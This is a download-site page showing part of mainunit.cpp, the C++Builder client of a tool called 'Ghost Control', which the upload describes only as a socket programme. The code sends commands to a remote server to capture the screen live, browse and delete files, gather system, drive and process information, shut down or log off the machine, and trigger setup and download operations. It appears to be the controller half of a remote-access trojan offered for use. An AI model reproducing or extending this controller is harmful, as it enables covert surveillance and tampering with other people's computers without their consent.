⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 mainunit.cpp

📁 this a programme that you can use socket programme
💻 CPP
📖 第 1 页 / 共 2 页
字号:
{
  if(ConnectStatus)
  {
    //Notebook->ActivePage="ControlPage";
    OutSocket->SendText("`open`");
  }
  else
  {
     StatusBar->Panels->Items[0]->Text=" Please connect to any active server first";
  }
}
//---------------------------------------------------------------------------

void __fastcall TMainForm::btnViewClick(TObject *Sender)
{
 if(ConnectStatus)
 {
   Notebook->ActivePage="EditPage";
   EditMemo->Clear();
   EditMemo->Lines->Add("Please input a path :");
   EditMemo->Lines->Add("for example,c:\\windows\\");
 }
 else
 {
   StatusBar->Panels->Items[0]->Text=" Please connect to any active server first";
 }
}
//---------------------------------------------------------------------------

void __fastcall TMainForm::btnLogoffClick(TObject *Sender)
{
  if(ConnectStatus)
  {
    //Notebook->ActivePage="ControlPage";
    OutSocket->SendText("`logoff`");
  }
  else
  {
     StatusBar->Panels->Items[0]->Text=" Please connect to any active server first";
  }
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::btnShutDownClick(TObject *Sender)
{
  if(ConnectStatus)
  {
   // Notebook->ActivePage="ControlPage";
    OutSocket->SendText("`shut`");
  }
  else
  {
     StatusBar->Panels->Items[0]->Text=" Please connect to any active server first";
  }
}
//-------------------------------------------------------------------------------------
AnsiString RandomName()
{
  AnsiString str;
  randomize();
  for(int i=0;i<5;i++)
  {
    str=str+String(random(10));
  }
  return str+".jpg";
}
//---------------------------------------------------------------------------

void __fastcall TMainForm::ReceiveServMSG(TComponent *Sender,
      const AnsiString sFrom, TStream *strm)
{
  ScreenImage->Picture=NULL;
  capstream=new TMemoryStream();
  StatusBar->Panels->Items[0]->Text="Receiving file stream";
  try
  {
     capstream->CopyFrom(strm,strm->Size);
     //MyFStream->CopyFrom(strm, strm->Size);
  }
  catch(...)
  {
  }
  StatusBar->Panels->Items[0]->Text="Receive file completed";
  capstream->Position=0;
  jpg=new TJPEGImage;
  jpg->LoadFromStream(capstream);
  capstream->Free();
  jpg->DIBNeeded();
  ScreenImage->Picture->Assign(jpg);
  if(livecap)
  {
    jpg->Free();
    cancap=false;
  }
  else
  {
    if(Save->Checked)
    {
      AnsiString n;
      n=RandomName();
      jpg->SaveToFile(".//Captrue//"+n);
      jpg->Free();
    }
    cancap=true;
  }
}
//---------------------------------------------------------------------------

void __fastcall TMainForm::ReceiveServClientContact(TObject *Sender)
{
  StatusBar->Panels->Items[2]->Text="Stream client connected";
}
//---------------------------------------------------------------------------

void __fastcall TMainForm::ReceiveServDisconnect(TObject *Sender)
{
  StatusBar->Panels->Items[2]->Text="Stream client disconected";
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::ReceiveServConnectionFailed(TObject *Sender)
{
   StatusBar->Panels->Items[2]->Text="Stream connection failed";
}
//---------------------------------------------------------------------------

void __fastcall TMainForm::ReceiveServInvalidHost(bool &Handled)
{
   Handled=true;        
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::SpeedButton2MouseMove(TObject *Sender,
      TShiftState Shift, int X, int Y)
{
   if(ScreenImage->Transparent==true)
   {
     ScreenImage->Top=ScreenImage->Top+3;
   }
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::SpeedButton3MouseMove(TObject *Sender,
      TShiftState Shift, int X, int Y)
{
  if(ScreenImage->Transparent==true)
  {
    ScreenImage->Top=ScreenImage->Top-3;
  }
}
//---------------------------------------------------------------------------

void __fastcall TMainForm::SpeedButton4MouseMove(TObject *Sender,
      TShiftState Shift, int X, int Y)
{
  if(ScreenImage->Transparent==true)
  {
     ScreenImage->Left=ScreenImage->Left+3;
  }
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::SpeedButton5MouseMove(TObject *Sender,
      TShiftState Shift, int X, int Y)
{
   if(ScreenImage->Transparent==true)
   {
     ScreenImage->Left=ScreenImage->Left-3;
   }
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::SpeedButton8Click(TObject *Sender)
{
   if(ScreenImage->Transparent==true)
   {
     ScreenImage->Align=alClient;
     ScreenImage->Stretch=true;
     ScreenImage->AutoSize=false;
     ScreenImage->Transparent=false;
   }
   else
   {
     ScreenImage->Align=alNone;
     ScreenImage->Stretch=false;
     ScreenImage->AutoSize=true;
     ScreenImage->Transparent=true;
   }
}
//---------------------------------------------------------------------------

void __fastcall TMainForm::SpeedButton9Click(TObject *Sender)
{
  ScreenImage->Picture=NULL;       
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::SpeedButton1Click(TObject *Sender)
{
  if(livecap)
  {
    livecap=false;
    cancap=false;
    CapTimer->Enabled=false;
  }
  else
  {
    livecap=true;
    cancap=true;
    CapTimer->Enabled=true;
  }        
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::CapTimerTimer(TObject *Sender)
{
  if(ConnectStatus&&livecap)
  {
    //Application->ProcessMessages();
    OutSocket->SendText("`cap`");
    ScreenImage->Picture=NULL;
  }
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::ControlItemClick(TObject *Sender)
{
  if(Notebook->PageIndex!=0)
  {
     Notebook->ActivePage="ControlPage";
  }
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::captureItemClick(TObject *Sender)
{
 if(Notebook->PageIndex!=1)
  {
     Notebook->ActivePage="CapPage";
  }
}
//---------------------------------------------------------------------------

void __fastcall TMainForm::FileEditItemClick(TObject *Sender)
{
  if(Notebook->PageIndex!=2)
  {
     Notebook->ActivePage="EditPage";
  }
}
//---------------------------------------------------------------------------

void __fastcall TMainForm::ExitItemClick(TObject *Sender)
{
  Close();        
}
//---------------------------------------------------------------------------

void __fastcall TMainForm::DisconnectItemClick(TObject *Sender)
{
  DisEnableConnect();        
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::PSaveItemClick(TObject *Sender)
{
  if ( SaveDialog->Execute() )
  {
    // Options + OverwritePrompt = True, thus no need to check.
    MsgMemo->Lines->SaveToFile(SaveDialog->FileName);
    MsgMemo->Modified=False;
  }
  else
  {
    exit;
  }
}
//---------------------------------------------------------------------------

void __fastcall TMainForm::btnGoClick(TObject *Sender)
{
  if(edtPath->Text.Length())
  {
    AnsiString path;
    path=edtPath->Text;
    OutSocket->SendText("`dir`"+path+"`");
    EditMemo->Lines->Add("Trying to view "+edtPath->Text+"*.*  !");
    FileListView->Clear();
  }
  else
  {
    EditMemo->Lines->Add("A null path!");
  }
}
//---------------------------------------------------------------------------

void __fastcall TMainForm::btnRefreshClick(TObject *Sender)
{
  if(edtPath->Text.Length())
  {
    AnsiString path;
    path=edtPath->Text;
    OutSocket->SendText("`dir`"+path+"`");
    FileListView->Clear();
  }
  else
  {
    EditMemo->Lines->Add("A null path!");
  }
}
//---------------------------------------------------------------------------

void __fastcall TMainForm::btnDelClick(TObject *Sender)
{
   if(FileListView->ItemFocused)
   {
     AnsiString filename;
     filename=FileListView->ItemFocused->Caption;
     EditMemo->Lines->Add("Trying to del "+filename+"!");
     OutSocket->SendText("`del`"+edtPath->Text+filename+"`");
   }
   else
   {
     EditMemo->Lines->Add("Please select a file!");
   }
}
//---------------------------------------------------------------------------

void __fastcall TMainForm::btnSysinfoClick(TObject *Sender)
{
 OutSocket->SendText("`sysinfo`");
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::btnDriverinfoClick(TObject *Sender)
{
  OutSocket->SendText("`driverinfo`");
}
//---------------------------------------------------------------------------

void __fastcall TMainForm::btnRunningClick(TObject *Sender)
{
  OutSocket->SendText("`running`");
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::btnProgramClick(TObject *Sender)
{
  OutSocket->SendText("`Program`");        
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::btnSettingClick(TObject *Sender)
{
  SettingForm=new TSettingForm(this);
  SettingForm->edtPort->Text=IntToStr(ClientSocket->Port);
  if(SettingForm->ShowModal()==mrOk)
  {
     ClientSocket->Port=StrToInt(SettingForm->edtPort->Text);
  }
  delete SettingForm;
}
//---------------------------------------------------------------------------

void __fastcall TMainForm::TimerTimer(TObject *Sender)
{
  StatusBar->Panels->Items[1]->Text=Now();        
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::FormClose(TObject *Sender, TCloseAction &Action)
{
  Action=caNone;
  ClientSocket->Close();
  TIniFile *ini;
  ini=new TIniFile(".\\Setting.ini");
  ini->WriteInteger("Config","PORT",ClientSocket->Port);
  delete ini;
  TrayIcon->Free();
  Application->Terminate();        
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::btnSetupClick(TObject *Sender)
{
  OutSocket->SendText("`setup`");
}
//---------------------------------------------------------------------------

void __fastcall TMainForm::btnDownloadClick(TObject *Sender)
{
  OutSocket->SendText("`down`");        
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::PClearItemClick(TObject *Sender)
{
  MsgMemo->Clear();        
}
//---------------------------------------------------------------------------

void __fastcall TMainForm::AboutItemClick(TObject *Sender)
{
  MEMORYSTATUS meminfo;
  meminfo.dwLength=sizeof(MEMORYSTATUS);
  GlobalMemoryStatus(&meminfo);
  MsgMemo->Clear();
  MsgMemo->Lines->Add("------------------------------------------------");
  MsgMemo->Lines->Add(" SoftWare Name : Ghost Control");
  MsgMemo->Lines->Add(" Version : 0.98");
  MsgMemo->Lines->Add(" PoweRed By : Hellf !Re.W");
  MsgMemo->Lines->Add(" Thank you for using my SoftWare!");
  MsgMemo->Lines->Add("------------------------------------------------");
  MsgMemo->Lines->Add(" 内存总量:"+String(meminfo.dwTotalPhys/1024/1024)+"Mb  可用物理内存:"+String(meminfo.dwAvailPhys/1024/1024)+"Mb");
  MsgMemo->SelStart=0;
  MsgMemo->SelLength=MsgMemo->Text.Length();
  MsgMemo->SelAttributes->Color=clBlue;
  MsgMemo->SelAttributes->Size=10;
  MsgMemo->SelAttributes->Name="Bookman Old Style";
}
//---------------------------------------------------------------------------

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -